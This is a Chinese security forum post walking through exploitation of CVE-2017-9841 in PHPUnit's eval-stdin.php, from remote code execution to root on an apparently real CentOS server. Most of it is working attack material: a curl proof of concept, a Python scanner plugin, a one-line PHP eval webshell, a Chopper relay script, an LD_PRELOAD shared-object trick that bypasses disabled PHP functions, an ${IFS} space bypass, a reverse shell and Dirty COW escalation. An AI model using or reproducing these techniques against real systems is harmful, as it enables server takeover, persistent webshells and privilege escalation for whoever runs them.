搜索
查看: 2502|回复: 0

CVE-2017-9841到root提权

[复制链接]

598

主题

876

帖子

2235

积分

管理员

本论坛第一帅

Rank: 9Rank: 9Rank: 9

积分
2235

热心会员推广达人宣传达人突出贡献优秀版主荣誉管理论坛元老

QQ
发表于 2019-1-7 16:25:36 来自手机 | 显示全部楼层 |阅读模式
漏洞详情: http://phpunit.vulnbusters.com
简单来说漏洞是出在phpunit,可以使用composer安装,vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php, 这个文件可以造成RCE:

$ curl --data "<?php echo(pi());" http://localhost:8888/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
影响版本: 4.8.19~4.8.27或者5.0.10~5.6.2

漏洞的利用扫描

官网给了一个poc,照着POC写一个POC-T的扫描插件:
#!/usr/bin/env python
# -*-coding: utf-8 -*-

import requests
req_timeout = 10

def poc(url):
    if '://' not in url:
        url = 'http://' + url
    targeturl = url.rstrip('/') + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php"
    try:
        c = requests.post(targeturl, timeout=req_timeout, data="<?php echo(pi());")
        if r'3.14' in c.content:
            return   url
    except Exception, e:
        pass
    return False

写个shell或者菜刀中转脚本

写shell

因为直接是RCE,如果当前目录可写,直接POST这样的body: <?php file_put_contents("a.php", '<?php eval($_REQUEST[11]);?>');即可在当前目录生成一个a.php的shell。如果当前目录不可写,可以使用菜刀中转脚本。

菜刀中转脚本

使用20160622版本的菜刀,可以直接连目标,可以执行命令,但是不可以上传修改文件。
<?php
$webshell="";
$data = file_get_contents("php://input");
$data=substr($data,1);
$data=str_replace("%2F",'/',$data);
$data=str_replace("%2B",'+',$data);
$data=str_replace("%3D",'=',$data);
$data= "<?php ". $data;
echo $data;

$opts = array (
'http' => array (
'method' => 'POST',
'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
"Content-Length: " . strlen($data) . "\r\n",
'content' => $data)
);

$context = stream_context_create($opts);
$html = @file_get_contents($webshell, false, $context);
echo $html;
?>

通过上一步另外写一个shell,碰到的环境情况如下:

CentOS release 6.5 (Final)
2.6.32的内核,可以使用c0w提权
存在/home/wwwroot目录,推测使用了lnmp一键安装包
Linux的lnmp一键安装包把大部分可执行命令的函数都禁用了,但是可以通过LD_PRELOAD来执行命令:
//gcc -c -fPIC hack.c -o hack
//gcc -shared hack -o hack.so
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("echo aaaaa> /tmp/abc.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; } 
unsetenv("LD_PRELOAD");
payload();
}

使用方法:
<?php 
putenv("LD_PRELOAD=/var/www/hack.so");
mail("a[@localhost](/user/localhost)","","","","");
?>

由于目标机器不可以执行命令,现在本机编译好之后上传即可,本机编译环境是:

CentOS Linux release 7.4.1708 (Core)
经测试,可以执行命令,但是如果命令存在空格,执行失败,所以这里是用${IFS}来绕过,经测试可用。先后做了如下的提权测试:

使用python来反弹shell到自己服务器,失败
把编译好的dirty上传,然后在hack.c里面修改执行提权,失败
由于每次要执行命令都要先本机编译,然后上传过去略麻烦,回过头发现可以执行python脚本,所以最后改下
//hack.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("/usr/bin/python${IFS}/tmp/1.py");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}

#1.py
import os
os.system("netstat -plant  >/tmp/res.txt")
这样子只需要每次修改1.py文件即可执行命令,不用再每次编译so文件。但是这样执行命令有一个缺陷,刷新一下执行命令的php文件,会不停的生成/usr/bin/python${IFS}/tmp/1.py进程,我测试的时候大概有4000多个进程。

然后修改1.py文件反弹到自己的服务器成功。

提权

在目标机器上面,直接使用gcc来编译c0w.c失败。
使用本机编译之后上传,在反弹的shell里面直接执行,提权成功。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

温馨提示
1:发帖请遵守《中华人民共和国网络安全法》,发帖内容不得维护国家的、集体的、个人的利益。
2:请勿发布恶意攻击他人的技术文章、工具、和使用教程,发现后删帖处理。
3:本站的目的在于让更多的人了解网络安全,避免受到他人的恶意攻击。
4:本站中的部分文章,可能会出现一些“技术类手段”,但这仅仅为学习演示所用,而非恶意传播技术。
5:本站中的部分文章,可能转载自互联网。如有侵权行为,联系我们删除即可。
6:学习仅是充实头脑,切勿恶意攻击个人、企业等。所造成的法律后果一切由自己承担,本站及其站长概不负责。
朕知道了
快速回复 返回顶部 返回列表